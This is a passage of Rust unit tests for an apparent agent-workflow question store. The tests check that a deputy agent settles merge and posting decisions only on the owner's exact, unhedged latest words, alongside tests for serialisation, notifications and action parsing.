2862 assert!(!s.panel_dir(&q.id).exists());
2863 s.drop_panel(&q.id)
2864 .expect("dropping a panel that is already gone is the desired state");
2865 }
2866
2867 #[test]
2868 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2869 let (_dir, s) = store();
2870 let mut q = panelled();
2871 s.put(&mut q).unwrap();
2872
2873 assert!(!q.panel);
2874 assert!(s.panel_html(&q.id).is_none());
2875 assert!(
2876 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2877 "a missing file is a 404 for the caller, not a failure of the store"
2878 );
2879 let json = serde_json::to_value(&q).unwrap();
2880 assert_eq!(json["panel"], false);
2881 assert_eq!(json["assets"], serde_json::json!([]));
2882
2883 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2886 assert!(e.contains("empty panel"), "{e}");
2887 assert!(!s.panel_dir(&q.id).exists());
2888 }
2889
2890 #[test]
2891 fn a_question_written_before_panels_existed_still_deserialises() {
2892 let (_dir, s) = store();
2893 std::fs::create_dir_all(s.root()).unwrap();
2894 let id = "20260902-231501-ab12";
2895 let body = r#"{
2897 "schema": 1,
2898 "id": "20260902-231501-ab12",
2899 "run": "20260902-201256-9fb7",
2900 "node": "implement",
2901 "seat": "impl-A",
2902 "summary": "Which storage backend should the cache use?",
2903 "detail": "Both are already dependencies.",
2904 "choices": ["SQLite", "Redis"],
2905 "status": "open",
2906 "asked_at": "2026-09-02T23:15:01Z",
2907 "answered_at": null,
2908 "answer": null
2909}"#;
2910 std::fs::write(s.path_of(id), body).unwrap();
2911
2912 let q = s.get(id).unwrap();
2913 assert!(
2914 !q.panel,
2915 "an absent field means no panel, not a parse error"
2916 );
2917 assert!(q.assets.is_empty());
2918 assert_eq!(q.schema, 1);
2923 assert!(q.thread.is_empty());
2924 assert_eq!(
2925 q.answer_timeout, 0,
2926 "an absent field means unrecorded, not a zero-second deadline"
2927 );
2928 assert!(!q.waiting_on_agent());
2929 assert_eq!(q.summary, "Which storage backend should the cache use?");
2930 assert_eq!(
2931 s.list().len(),
2932 1,
2933 "and it is still listed; skipping it would hide an open question"
2934 );
2935 }
2936
2937 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2938 Turn {
2939 who,
2940 body: body.to_owned(),
2941 at,
2942 note: None,
2943 }
2944 }
2945
2946 #[test]
2947 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2948 let mut q = choice_question();
2951 q.thread
2952 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2953 let value = serde_json::to_value(&q.thread[0]).unwrap();
2954 let mut keys: Vec<&str> = value
2955 .as_object()
2956 .unwrap()
2957 .keys()
2958 .map(String::as_str)
2959 .collect();
2960 keys.sort_unstable();
2961 assert_eq!(keys, ["at", "body", "who"]);
2962 assert_eq!(value["who"], "operator");
2963 assert_eq!(value["body"], "why not Postgres?");
2964
2965 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2966 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2967 assert_eq!(parsed.who, Who::Agent);
2968 }
2969
2970 fn approval_question() -> Question {
2971 let mut q = Question::new(
2972 "run".into(),
2973 crate::land::APPROVAL_NODE.into(),
2974 "land".into(),
2975 "Merge?".into(),
2976 String::new(),
2977 vec!["merge".into(), "hold".into()],
2978 );
2979 let mut dep = Deputy::new("brief".into());
2980 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2981 q.deputy = Some(dep);
2982 q
2983 }
2984
2985 #[test]
2986 fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
2987 for choice in [
2988 crate::land::HOLD,
2989 crate::land::REPAIR,
2990 crate::merge_decision::WITHDRAW,
2991 "reimplement:beta",
2992 ] {
2993 let mut q = approval_question();
2994 q.node = crate::land::APPROVAL_NODE.into();
2995 q.choices = vec!["merge".into(), choice.into()];
2996 q.merge_target = Some(crate::merge_decision::Target {
2997 pr: "PR 42".into(),
2998 head: "abc".into(),
2999 language: "en".into(),
3000 });
3001 q.say(format!("Should we choose {choice}?")).unwrap();
3002 assert!(
3003 q.settle_by_deputy("deputy-x", choice, choice, None)
3004 .is_err()
3005 );
3006 q.say(choice).unwrap();
3007 q.settle_by_deputy("deputy-x", choice, choice, None)
3008 .unwrap();
3009 assert_eq!(q.resolution().as_deref(), Some(choice));
3010 }
3011 let mut q = approval_question();
3012 q.node = crate::land::APPROVAL_NODE.into();
3013 q.choices = vec!["merge".into(), "hold".into()];
3014 q.merge_target = Some(crate::merge_decision::Target {
3015 pr: "PR 42".into(),
3016 head: "new-head".into(),
3017 language: "en".into(),
3018 });
3019 q.say("merge old-head").unwrap();
3020 assert!(
3021 q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3022 .is_err()
3023 );
3024 q.say("merge new-head").unwrap();
3025 q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3026 .unwrap();
3027 }
3028
3029 #[test]
3030 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3031 let mut q = approval_question();
3032 q.choices.push(crate::land::REPAIR.into());
3033 q.say("maybe fix findings and re-review").unwrap();
3034 assert!(
3035 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3036 .is_err()
3037 );
3038 q.say(crate::land::REPAIR).unwrap();
3039 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3040 .unwrap();
3041 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3042 assert_eq!(
3043 crate::land::approval(q.resolution().as_deref()),
3044 crate::land::Approval::Repair
3045 );
3046 }
3047
3048 #[test]
3049 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3050 let mut q = approval_question();
3051 q.say("merge").unwrap();
3052 q.reply("sure?", vec!["merge".into(), "hold".into()])
3053 .unwrap();
3054 q.say(" Merge it please ").unwrap();
3055 assert!(
3056 q.settle_by_deputy("deputy-x", "merge", " ", None)
3057 .is_err(),
3058 "an empty quote is refused"
3059 );
3060 assert!(
3061 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3062 .is_err(),
3063 "a quote the owner never said is refused"
3064 );
3065 assert_eq!(q.status, QuestionStatus::Open);
3066 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3067 .unwrap();
3068 assert_eq!(q.resolution().as_deref(), Some("merge"));
3069 }
3070
3071 #[test]
3072 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3073 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3074 let mk = || {
3075 let mut q = Question::new(
3076 "run".into(),
3077 crate::github_text::ASK_NODE.into(),
3078 crate::github_text::ASK_SEAT.into(),
3079 "s".into(),
3080 String::new(),
3081 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3082 );
3083 let mut dep = Deputy::new("brief".into());
3084 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3085 q.deputy = Some(dep);
3086 q
3087 };
3088 let mut hedged = mk();
3089 hedged.say("Post the original, maybe?").unwrap();
3090 assert!(
3091 hedged
3092 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3093 .is_err()
3094 );
3095 let mut clear = mk();
3096 clear.say("Post the original text as it is.").unwrap();
3097 clear
3098 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3099 .unwrap();
3100 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3101 let mut japanese = mk();
3102 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3103 japanese.say(words).unwrap();
3104 japanese
3105 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3106 .unwrap();
3107 let mut unrelated = mk();
3108 unrelated.say("Proceed with the task").unwrap();
3109 assert!(
3110 unrelated
3111 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3112 .is_err()
3113 );
3114 for words in [
3115 "OK, post the original",
3116 "Yes, post original",
3117 "I'd like to post the original",
3118 ] {
3119 let mut natural = mk();
3120 natural.say(words).unwrap();
3121 natural
3122 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3123 .unwrap();
3124 }
3125 for (message, quote) in [
3126 (
3127 "ログには「元の説明で投稿しました」と記録されています。",
3128 "ログには「元の説明で投稿しました」と記録されています。",
3129 ),
3130 (
3131 "ログには「元の説明で投稿してください」と記録されています。",
3132 "元の説明で投稿してください",
3133 ),
3134 ] {
3135 let mut descriptive = mk();
3136 descriptive.say(message).unwrap();
3137 assert!(
3138 descriptive
3139 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3140 .is_err()
3141 );
3142 assert!(descriptive.status.open());
3143 assert!(descriptive.answer.is_none());
3144 }
3145 let mut descriptive = mk();
3146 let message = "Post original was the option I saw.";
3147 descriptive.say(message).unwrap();
3148 for quote in [message, "Post original"] {
3149 assert!(
3150 descriptive
3151 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3152 .is_err()
3153 );
3154 assert!(descriptive.status.open());
3155 assert!(descriptive.answer.is_none());
3156 }
3157 let mut safe = mk();
3159 safe.say("use the fallback").unwrap();
3160 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3161 .unwrap();
3162 }
3163
3164 #[test]
3165 fn posting_deputy_rejects_multiline_quoted_context() {
3166 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3167 for (command, choice) in [
3168 ("Post original", POST_ORIGINAL),
3169 ("Use rewrite", USE_REWRITE),
3170 ] {
3171 for message in [
3172 format!("The log contains:\n```\n{command}\n```"),
3173 format!("The log contains:\n\"\n{command}\n\""),
3174 format!("The log says: “Reported. {command}.”"),
3175 format!("The log says: “\n{command}\n”"),
3176 ]
3177 .into_iter()
3178 .chain(crate::github_text::reported_posting_messages(command))
3179 {
3180 let mut q = Question::new(
3181 "run".into(),
3182 ASK_NODE.into(),
3183 ASK_SEAT.into(),
3184 "s".into(),
3185 String::new(),
3186 vec![USE_FALLBACK.into(), choice.into()],
3187 );
3188 let mut dep = Deputy::new("brief".into());
3189 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3190 q.deputy = Some(dep);
3191 q.say(&message).unwrap();
3192 let tmp = tempfile::tempdir().unwrap();
3193 let questions = Questions::at(tmp.path().join("questions"));
3194 questions.put(&mut q).unwrap();
3195 for quote in [command, message.as_str()] {
3196 assert!(
3197 questions
3198 .update(&q.id, |stored| {
3199 stored.settle_by_deputy("deputy-x", choice, quote, None)
3200 })
3201 .is_err()
3202 );
3203 let after = questions.get(&q.id).unwrap();
3204 assert!(after.status.open());
3205 assert!(after.answer.is_none());
3206 }
3207 }
3208 }
3209 }
3210
3211 #[test]
3212 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3213 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3214 let mk = || {
3215 let mut q = Question::new(
3216 "run".into(),
3217 crate::github_text::ASK_NODE.into(),
3218 crate::github_text::ASK_SEAT.into(),
3219 "s".into(),
3220 String::new(),
3221 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3222 );
3223 let mut dep = Deputy::new("brief".into());
3224 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3225 q.deputy = Some(dep);
3226 q
3227 };
3228 let mut hedged = mk();
3229 hedged.say("Use the rewrite, maybe?").unwrap();
3230 assert!(
3231 hedged
3232 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3233 .is_err()
3234 );
3235 let mut descriptive = mk();
3236 let message = "Use rewrite was the option I saw.";
3237 descriptive.say(message).unwrap();
3238 for quote in [message, "Use rewrite"] {
3239 assert!(
3240 descriptive
3241 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3242 .is_err()
3243 );
3244 assert!(descriptive.status.open());
3245 assert!(descriptive.answer.is_none());
3246 }
3247 for words in [
3248 "Use the rewrite text as it is.",
3249 "I'd like to use the rewrite",
3250 "修正版で投稿してください。",
3251 ] {
3252 let mut clear = mk();
3253 clear.say(words).unwrap();
3254 clear
3255 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3256 .unwrap();
3257 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3258 }
3259 let mut safe = mk();
3261 safe.say("use the fallback").unwrap();
3262 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3263 .unwrap();
3264 }
3265
3266 #[test]
3267 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3268 let mk = |choices: Vec<String>| {
3269 let mut q = Question::new(
3270 String::new(),
3271 crate::bump::NOTICE_NODE.into(),
3272 "release-watch".into(),
3273 "Release?".into(),
3274 String::new(),
3275 choices,
3276 );
3277 let mut dep = Deputy::new("brief".into());
3278 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3279 q.deputy = Some(dep);
3280 q
3281 };
3282 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3283 assert!(crate::deputy::merge_gated(&approval));
3284 approval.say("マージしていいよ").unwrap();
3285 assert!(
3286 approval
3287 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3288 .is_err(),
3289 "a quote the owner never said is refused"
3290 );
3291 approval
3292 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3293 .unwrap();
3294
3295 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3296 assert!(!crate::deputy::merge_gated(&esc));
3297 esc.say("もう監視はいらない").unwrap();
3298 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3299 .unwrap();
3300 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3301 }
3302
3303 #[test]
3304 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3305 let mut q = approval_question();
3306 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3307 .unwrap();
3308 assert!(
3309 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3310 .is_err(),
3311 "the quote must be the owner's"
3312 );
3313 assert!(
3314 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3315 .is_err(),
3316 "`hold` still needs the whole message"
3317 );
3318 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3319 .unwrap();
3320 assert_eq!(q.resolution().as_deref(), Some("merge"));
3321 }
3322
3323 fn settle_ready() -> Question {
3324 let mut q = Question::new(
3325 "task".to_owned(),
3326 "conduct".to_owned(),
3327 "conduct".to_owned(),
3328 "Done?".to_owned(),
3329 String::new(),
3330 vec!["yes".to_owned(), "no".to_owned()],
3331 );
3332 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3333 seat.turns = 1;
3334 let mut dep = Deputy::new("brief".to_owned());
3335 dep.seat = Some(seat);
3336 q.deputy = Some(dep);
3337 q.say("setup done, and file a follow-up").unwrap();
3338 q
3339 }
3340
3341 #[test]
3342 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3343 let dir = tempfile::TempDir::new().unwrap();
3344 let store = Questions::at(dir.path().join("questions"));
3345 let mut q = settle_ready();
3346 let id = q.id.clone();
3347 store.put(&mut q).unwrap();
3348 store
3349 .update(&id, |q| {
3350 q.settle_by_deputy(
3351 "deputy-x",
3352 "yes",
3353 "setup done",
3354 Some(" no follow-up was queued "),
3355 )
3356 })
3357 .unwrap();
3358 let back = store.get(&id).unwrap();
3359 let turn = back.thread.last().unwrap();
3360 assert_eq!(turn.who, Who::Agent);
3361 assert!(turn.body.starts_with("Settled as `yes`"));
3362 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3363 assert_eq!(back.thread[0].note, None);
3364 }
3365
3366 #[test]
3367 fn an_empty_or_blank_settle_note_is_no_note() {
3368 for note in [None, Some(""), Some(" \n ")] {
3369 let mut q = settle_ready();
3370 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3371 .unwrap();
3372 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3373 let json = serde_json::to_string(&q).unwrap();
3374 assert!(!json.contains("\"note\""), "no key when there is none");
3375 }
3376 }
3377
3378 #[test]
3379 fn a_refused_settle_leaves_no_note_behind() {
3380 let mut q = settle_ready();
3381 let before = q.thread.clone();
3382 assert!(
3383 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3384 .is_err()
3385 );
3386 assert!(
3387 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3388 .is_err()
3389 );
3390 assert_eq!(q.thread, before);
3391 assert_eq!(q.status, QuestionStatus::Open);
3392 }
3393
3394 #[test]
3395 fn a_turn_written_before_notes_existed_still_reads() {
3396 let t: Turn =
3397 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3398 .unwrap();
3399 assert_eq!(t.note, None);
3400 }
3401
3402 #[test]
3403 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3404 let mut q = approval_question();
3405 q.say("merge").unwrap();
3406 q.reply("sure?", vec!["merge".into(), "hold".into()])
3407 .unwrap();
3408 q.say("wait, hold off").unwrap();
3409 assert!(
3410 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3411 .is_err()
3412 );
3413 assert_eq!(q.status, QuestionStatus::Open);
3414 }
3415
3416 #[test]
3417 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3418 let mut q = Question::new(
3419 "task".to_owned(),
3420 "conduct".to_owned(),
3421 "conduct".to_owned(),
3422 "Done?".to_owned(),
3423 String::new(),
3424 vec!["yes".to_owned(), "no".to_owned()],
3425 );
3426 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3427 seat.turns = 1;
3428 let mut dep = Deputy::new("brief".to_owned());
3429 dep.seat = Some(seat);
3430 q.deputy = Some(dep);
3431 q.say("setup done, go ahead").unwrap();
3432
3433 assert!(
3434 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3435 .is_err()
3436 );
3437 assert!(
3438 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3439 .is_err()
3440 );
3441 assert!(
3442 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3443 .is_err()
3444 );
3445 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3446 assert_eq!(q.status, QuestionStatus::Open);
3447
3448 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3449 .unwrap();
3450 assert_eq!(q.status, QuestionStatus::Answered);
3451 assert_eq!(q.resolution().as_deref(), Some("yes"));
3452 let last = q.thread.last().unwrap();
3453 assert_eq!(last.who, Who::Agent);
3454 assert!(
3455 last.body.contains("setup done"),
3456 "the quote stays on the record"
3457 );
3458 }
3459
3460 #[test]
3461 fn a_question_written_before_deputies_still_reads() {
3462 let mut q = Question::new(
3463 "task".to_owned(),
3464 "conduct".to_owned(),
3465 "conduct".to_owned(),
3466 "Done?".to_owned(),
3467 String::new(),
3468 Vec::new(),
3469 );
3470 q.schema = 4;
3471 let mut v = serde_json::to_value(&q).unwrap();
3472 v.as_object_mut().unwrap().remove("deputy");
3473 let back: Question = serde_json::from_value(v).unwrap();
3474 assert!(back.deputy.is_none());
3475 }
3476
3477 #[test]
3478 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3479 let mut q = choice_question();
3480 q.say("does the cache need eviction?").unwrap();
3481 assert_eq!(q.thread.len(), 1);
3482 assert_eq!(q.thread[0].who, Who::Operator);
3483 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3484 assert_eq!(q.status, QuestionStatus::Open);
3487 assert!(q.answer.is_none());
3488 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3489 }
3490
3491 #[test]
3492 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3493 let mut answered = choice_question();
3494 answered
3495 .answer(Answer::Choice("SQLite".to_owned()))
3496 .unwrap();
3497 let a = answered.say("still there?").unwrap_err().to_string();
3498 assert!(a.contains("already answered"), "{a}");
3499 let b = answered
3500 .reply("still there?", vec![])
3501 .unwrap_err()
3502 .to_string();
3503 assert!(b.contains("already answered"), "{b}");
3504
3505 let mut abandoned = choice_question();
3506 abandoned.abandon("timed out");
3507 let c = abandoned.say("hello?").unwrap_err().to_string();
3508 assert!(c.contains("abandoned"), "{c}");
3509
3510 let mut open = choice_question();
3511 let d = open.say(" ").unwrap_err().to_string();
3512 assert!(d.contains("empty"), "{d}");
3513 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3514 assert!(e.contains("empty"), "{e}");
3515 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3516 }
3517
3518 #[test]
3519 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3520 let mut q = choice_question();
3521 q.say("SQLite or Redis, but what about disk space?")
3522 .unwrap();
3523 assert!(q.waiting_on_agent());
3524
3525 q.reply(
3526 "SQLite: it is one file, no server to run.",
3527 vec!["SQLite".to_owned()],
3528 )
3529 .unwrap();
3530
3531 assert_eq!(q.choices, ["SQLite"]);
3532 assert!(
3533 !q.waiting_on_agent(),
3534 "the agent spoke, so the owner is the one being waited on now"
3535 );
3536 assert_eq!(q.thread.len(), 2);
3537 assert_eq!(q.thread[1].who, Who::Agent);
3538
3539 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3541 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3542 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3543 }
3544
3545 #[test]
3546 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3547 let mut fresh = choice_question();
3548 assert!(
3549 fresh.should_notify(Timestamp::now()),
3550 "nobody has been notified yet, so the first ask always pages"
3551 );
3552
3553 fresh.say("why not Postgres?").unwrap();
3554 let just_said = fresh.thread[0].at;
3555 assert!(
3556 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3557 "still on the screen a minute later; no need to page again"
3558 );
3559 assert!(
3560 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3561 "exactly the window: `>` means this side stays quiet"
3562 );
3563 assert!(
3564 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3565 "past the window: they may have walked away"
3566 );
3567 }
3568
3569 #[test]
3570 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3571 let (_dir, s) = store();
3572 let mut q = choice_question();
3573 s.put(&mut q).unwrap();
3574 q.say("why not Postgres?").unwrap();
3575 s.put(&mut q).unwrap();
3576 q.reply("no server to run", vec!["SQLite".to_owned()])
3577 .unwrap();
3578 s.put(&mut q).unwrap();
3579
3580 assert_eq!(
3581 s.count_open(),
3582 1,
3583 "one question that talked twice is still one open question"
3584 );
3585 assert_eq!(s.open_for(&q.run).len(), 1);
3586 }
3587
3588 #[tokio::test]
3589 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3590 let (dir, s) = store();
3591 let mut q = choice_question();
3592 let id = q.id.clone();
3593 let writer = Questions::at(dir.path().join("questions"));
3594 let handle = tokio::spawn(async move {
3595 tokio::time::sleep(Duration::from_millis(30)).await;
3596 let mut fresh = writer.get(&id).expect("the question was filed first");
3597 fresh.say("why not Postgres?").unwrap();
3598 writer.put(&mut fresh).unwrap();
3599 });
3600
3601 let got = wait_for_owner(
3602 &mut q,
3603 &s,
3604 &quiet(),
3605 Duration::from_secs(5),
3606 Duration::from_millis(10),
3607 )
3608 .await
3609 .unwrap();
3610
3611 handle.await.unwrap();
3612 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3613 assert_eq!(
3614 q.status,
3615 QuestionStatus::Open,
3616 "talking back is not a decision; the question stays open"
3617 );
3618 assert!(q.answer.is_none());
3619 }
3620
3621 #[test]
3622 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3623 let mut q = choice_question();
3624 q.say("A").unwrap();
3625 q.delivered_turns = q.thread.len();
3626 q.say("B").unwrap();
3627 q.reply("about A", vec![]).unwrap();
3628 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3629 q.delivered_turns = q.thread.len();
3630 assert_eq!(q.unread_from_owner(), None);
3631 }
3632
3633 #[test]
3634 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3635 let (_d, s) = store();
3636 let mut q = choice_question();
3637 s.put(&mut q).unwrap();
3638 q.say("first").unwrap();
3639 q.say("second").unwrap();
3640 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3641 s.put(&mut q).unwrap();
3642 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3643 let mut out = Vec::new();
3644 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3645 let shown = String::from_utf8(out).unwrap();
3646 let (a, b, c) = (
3647 shown.find("first").unwrap(),
3648 shown.find("second").unwrap(),
3649 shown.find("SQLite").unwrap(),
3650 );
3651 assert!(a < b && b < c, "{shown}");
3652 assert_eq!(q.delivered_turns, q.thread.len());
3653 assert!(q.answer_delivered);
3654 }
3655
3656 #[test]
3657 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3658 let mut q = choice_question();
3659 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3660 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3661 let mut q = choice_question();
3662 q.say("old").unwrap();
3663 q.delivered_turns = q.thread.len();
3664 q.say("new").unwrap();
3665 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3666 let shown = answer_for_agent(&q, "SQLite");
3667 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3668 }
3669
3670 #[test]
3671 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3672 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3673 let ok = parse_actions(
3674 &[
3675 "resume で続行する=resume".to_owned(),
3676 "wait=done".to_owned(),
3677 ],
3678 &choices,
3679 "run-1",
3680 )
3681 .unwrap();
3682 assert_eq!(
3683 ok["resume で続行する"],
3684 ChoiceAction::Resume {
3685 run: "run-1".into()
3686 }
3687 );
3688 assert_eq!(ok["wait"], ChoiceAction::Done);
3689
3690 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3691 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3692 assert_eq!(
3693 ChoiceAction::parse("x=requeue", "").unwrap().1,
3694 ChoiceAction::Requeue
3695 );
3696
3697 for bad in [
3698 "no-equals",
3699 "=done",
3700 "x=resume",
3701 "x=resume:",
3702 "x=explode",
3703 "x=done:1",
3704 ] {
3705 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3706 }
3707 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3708 assert!(
3709 parse_actions(
3710 &["wait=done".to_owned(), "wait=requeue".to_owned()],
3711 &choices,
3712 ""
3713 )
3714 .is_err()
3715 );
3716 }
3717
3718 #[test]
3719 fn only_a_chosen_label_with_an_action_is_actionable() {
3720 let mut q = choice_question();
3721 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3722 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3723 assert!(q.chosen_action().is_none(), "unanswered");
3724 q.answer(Answer::Choice("resume".to_owned())).unwrap();
3725 assert!(
3726 q.chosen_action().is_none(),
3727 "a label that merely reads like an action does nothing"
3728 );
3729
3730 let mut q2 = choice_question();
3731 q2.choices = vec!["SQLite".to_owned()];
3732 q2.actions
3733 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3734 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3735 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3736 }
3737
3738 #[test]
3739 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3740 let mut q = choice_question();
3741 q.choices = vec!["A".to_owned(), "B".to_owned()];
3742 q.actions.insert("A".to_owned(), ChoiceAction::Done);
3743 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3744 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3745 assert_eq!(q.actions.len(), 1);
3746 assert!(q.actions.contains_key("B"));
3747
3748 let mut v = serde_json::to_value(&q).unwrap();
3749 v.as_object_mut().unwrap().remove("actions");
3750 let old: Question = serde_json::from_value(v).unwrap();
3751 assert!(old.actions.is_empty());
3752 }
3753}